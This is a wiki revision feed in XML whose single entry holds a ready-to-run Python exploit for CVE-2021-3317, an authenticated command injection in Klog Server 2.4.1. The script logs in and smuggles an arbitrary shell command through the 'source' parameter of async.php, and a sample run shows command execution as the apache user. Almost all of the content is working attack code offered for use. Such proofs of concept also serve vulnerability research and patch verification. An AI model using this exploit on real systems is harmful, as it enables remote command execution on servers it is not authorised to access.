<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-3317_Klog_Server_2.4.1_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-3317 Klog Server 2.4.1 命令注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-3317_Klog_Server_2.4.1_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-3317_Klog_Server_2.4.1_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-20T14:32:42Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-3317_Klog_Server_2.4.1_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=1264&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Klog Server 2.4.1 - Command Injection (Authenticated) # Date: 26.01.2021 # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https://www.k...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-3317_Klog_Server_2.4.1_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=1264&amp;oldid=prev"/>
		<updated>2021-04-08T09:28:36Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Klog Server 2.4.1 - Command Injection (Authenticated) # Date: 26.01.2021 # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https://www.k...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Klog Server 2.4.1 - Command Injection (Authenticated)&lt;br /&gt;
# Date: 26.01.2021&lt;br /&gt;
# Exploit Author: Metin Yunus Kandemir&lt;br /&gt;
# Vendor Homepage: https://www.klogserver.com/&lt;br /&gt;
# Version: 2.4.1&lt;br /&gt;
# Description: https://docs.unsafe-inline.com/0day/klog-server-authenticated-command-injection&lt;br /&gt;
# CVE: 2021-3317&lt;br /&gt;
&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
Description:&lt;br /&gt;
&amp;quot;source&amp;quot; parameter is executed via shell_exec() function without input validation in async.php file.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
python3 PoC.py --target 10.10.56.51 --username admin --password admin --command id &lt;br /&gt;
[*] Status Code for login request: 302&lt;br /&gt;
[+] Authentication was successful!&lt;br /&gt;
[*] Exploiting...&lt;br /&gt;
&lt;br /&gt;
uid=48(apache) gid=48(apache) groups=48(apache)&lt;br /&gt;
&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
import argparse&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import urllib3&lt;br /&gt;
from argparse import ArgumentParser, Namespace&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
    dsc = &amp;quot;Klog Server 2.4.1 - Command Injection (Authenticated)&amp;quot;&lt;br /&gt;
    parser: ArgumentParser = argparse.ArgumentParser(description=dsc)&lt;br /&gt;
    parser.add_argument(&amp;quot;--target&amp;quot;, help=&amp;quot;IPv4 address of Cockpit server&amp;quot;, type=str, required=True)&lt;br /&gt;
    parser.add_argument(&amp;quot;--username&amp;quot;, help=&amp;quot;Username&amp;quot;, type=str, required=True)&lt;br /&gt;
    parser.add_argument(&amp;quot;--password&amp;quot;, help=&amp;quot;Password&amp;quot;, type=str, required=True)&lt;br /&gt;
    parser.add_argument(&amp;quot;--command&amp;quot;, help=&amp;quot;Command&amp;quot;, type=str, required=True)&lt;br /&gt;
    args: Namespace = parser.parse_args()&lt;br /&gt;
    if args.target:&lt;br /&gt;
        target = args.target&lt;br /&gt;
        if args.username:&lt;br /&gt;
            username = args.username&lt;br /&gt;
            if args.password:&lt;br /&gt;
                password = args.password&lt;br /&gt;
                if args.command:&lt;br /&gt;
                    command = args.command&lt;br /&gt;
&lt;br /&gt;
                exploit(target, username, password, command)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def exploit(target, username, password, command):&lt;br /&gt;
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)&lt;br /&gt;
    s = requests.Session()&lt;br /&gt;
    headers = {&lt;br /&gt;
    	&amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0&amp;quot;,&lt;br /&gt;
         &amp;quot;Accept&amp;quot;: &amp;quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&amp;quot;,&lt;br /&gt;
         &amp;quot;Accept-Language&amp;quot;: &amp;quot;en-US,en;q=0.5&amp;quot;,&lt;br /&gt;
         &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;,&lt;br /&gt;
         &amp;quot;Content-Type&amp;quot;: &amp;quot;application/x-www-form-urlencoded&amp;quot;,&lt;br /&gt;
         &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;,&lt;br /&gt;
         &amp;quot;Upgrade-Insecure-Requests&amp;quot;: &amp;quot;1&amp;quot;,&lt;br /&gt;
         }&lt;br /&gt;
    &lt;br /&gt;
    data = {&amp;quot;user&amp;quot; : username, &amp;quot;pswd&amp;quot; : password}&lt;br /&gt;
&lt;br /&gt;
    login = s.post(&amp;quot;https://&amp;quot; + target + &amp;quot;/actions/authenticate.php&amp;quot; , data=data, headers=headers, allow_redirects=False, verify=False)&lt;br /&gt;
    print(&amp;quot;[*] Status Code for login request: &amp;quot; + str(login.status_code))&lt;br /&gt;
&lt;br /&gt;
    if login.status_code == 302:&lt;br /&gt;
        check = s.get(&amp;quot;https://&amp;quot; + target + &amp;quot;/index.php&amp;quot;, allow_redirects=False, verify=False)&lt;br /&gt;
        if check.status_code == 200:&lt;br /&gt;
            print(&amp;quot;[+] Authentication was successful!&amp;quot;)&lt;br /&gt;
        else:&lt;br /&gt;
            print(&amp;quot;[-] Authentication was unsuccessful!&amp;quot;)&lt;br /&gt;
            sys.exit(1)&lt;br /&gt;
    else:&lt;br /&gt;
        print(&amp;quot;Something went wrong!&amp;quot;)&lt;br /&gt;
        sys.exit(1)&lt;br /&gt;
        &lt;br /&gt;
    print(&amp;quot;[*] Exploiting...\n&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    executeCommand = s.get(&amp;quot;https://&amp;quot; + target + &amp;quot;/actions/async.php?action=stream&amp;amp;source=;&amp;quot;+ command +&amp;quot;;&amp;quot;, allow_redirects=False, verify=False)&lt;br /&gt;
    print(executeCommand.text)&lt;br /&gt;
    sys.exit(0)&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>